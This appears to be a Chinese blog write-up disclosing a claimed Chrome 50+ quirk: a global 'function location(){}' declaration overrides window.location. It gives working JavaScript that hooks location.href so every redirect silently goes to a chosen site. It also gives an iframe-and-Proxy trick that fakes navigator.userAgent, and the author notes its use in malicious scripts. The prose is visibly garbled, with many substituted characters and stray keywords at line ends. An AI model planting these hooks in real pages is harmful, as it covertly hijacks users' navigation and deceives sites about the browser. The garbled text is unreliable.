众所周知,虽然JavaScript是个很灵活的语言,浏览器里不少原生的方法均可以随意覆盖或者重写,好比alert。可是为了保证网页的安全性和网页制做者的必定控制权,有些浏览器对象是没法更改的,好比“window.location”对象,或者对它们的更改是无效的,好比”window.navigator”对象。然而,最近我发现Chrome出现了一个小“bug”,在Chrome 50+ 版本中,经过一些技巧能够轻易地重写这些对象,从而让恶意代码能够控制网页编写者的跳转行为。浏览器
location对象是个很特殊的浏览器内置对象,通常状况下是没法修改的,为了寻找是否有一种方法能够作到这件事,我作了一些尝试并得出了相应的结论:安全
1.没法修改location对象,直接修改会致使页面跳转:app
window.location = {};
2.没法经过Object.defineProperty来修改属性的configurable和writable,所以没法使用Object.watch及各类polyfill。函数
Object.defineProperty(location,"href",{"configurable": true});
3.能够用Proxy对象代理location,但由于缘由1,没法用locationProxy重写location对象。网站
var locationProxy = new Proxy(location, { set: function (target, key, value, receiver) { console.log(target, key, value, receiver); }});
4.能够freeze,使得对location.href赋值失效。然而这会影响到正常流程,由于光这样用户的代码逻辑就没法走通,劫持就失去了意义。this
Object.freeze(window.location) Object.freeze(window)
看上去彷佛没有任何办法可以作到了?然而山重水复疑无路,柳暗花明又一村。在尝试中我发现Chrome浏览器有个bug:在全局域里使用和location同名的函数声明,在函数自动提高后能够覆盖掉浏览器自己的window.location对象,没错,就是这样一行简单的代码:url
function location(){}
这样就能够起到重写并hook掉location的做用。而这个方法也只有在Chrome下有用,其它浏览器(如Firefox或者Edge)会提示 TypeError: can't redefine non-configurable property locationspa
那么既然拿到了修改的方法,应该如何合理地劫持它呢? 首先须要备份一下location对象自己,但因为咱们的关键函数 function location(){} 自己是须要在全局域中执行,而且会自动提高,所以没法直接存储location对象。可是不少人都忽略的一点window.document对象中还有一份location对象,而这个对象,在目前浏览器中绝大多数状况下都和window.location没有区别,甚至就是对window.location的一份拷贝或者指针。因而咱们可使用window.document.location先备份一下location对象,而后修改之。代理
var _location = window.document.location;
以后须要作的事情就是在劫持某些操做的时候,又保证正常的操做不会出问题,不然很容易被发现。咱们可使用ES5中的一些魔法方法,好比__proto__和__defineSetter__
来实现咱们须要的效果,好比咱们对于location.href 的赋值操做,拦截并转向freebuf:指针
location.__proto__ = _location; location.__defineSetter__('href', function(url) { _location.href = "http://www.freebuf.com"; }); location.__defineGetter__('href', function(url) { return _location.href; });
或者使用ES6的Proxy代理,也一样能够实现相同功能:
window.location = new Proxy(_location, { set: function(target, prop, value, receiver){ if (prop !== 'href'){ Reflect.set(target, prop, value, receiver); }else{ target.href = "http://www.freebuf.com"; } } })
最后,咱们再将location对象设置为只读,防止轻易被修改
Object.defineProperty(window,"location",{"writable": false});
这样就实现了一个暗藏玄机的window.location,偷偷将页面里全部经过location.href作的跳转改到了目标网站(freebuf)。
就像我开头说的同样,不止是location,navigator对象咱们也能够经过这种方法偷偷篡改,让网站获得的浏览器信息(如userAgent)失真,要注意的重点就是如何找到一种方法保存原来的navigator对象,这里咱们使用新建一个iframe来实现:
var _navigator; function navigator(){} var frame = document.createElement('iframe'); frame.width = frame.height = 0; frame.style.display = "none"; document.lastChild.appendChild(frame); _navigator = window.frames[0].window.navigator; window.navigator = new Proxy(_navigator, { set: function(target, prop, value, receiver){ return Reflect.set(target, prop, value, receiver); }, get: function(target, prop, receiver){ if (prop === 'userAgent'){ return "this is a faked userAgent"; } return target[prop]; } })
这段代码实现了让用户访问window.navigator.userAgemt时返回了一个假UA串。
这个bug在Chrome 50至最新版内核中均存在,包括但不限于Chrome和各类使用Chromium内核的浏览器(Opera, UC)等。虽然因为局限性,独立存在的意义不大,可是在一些恶意脚本里仍是存在一些利用的价值。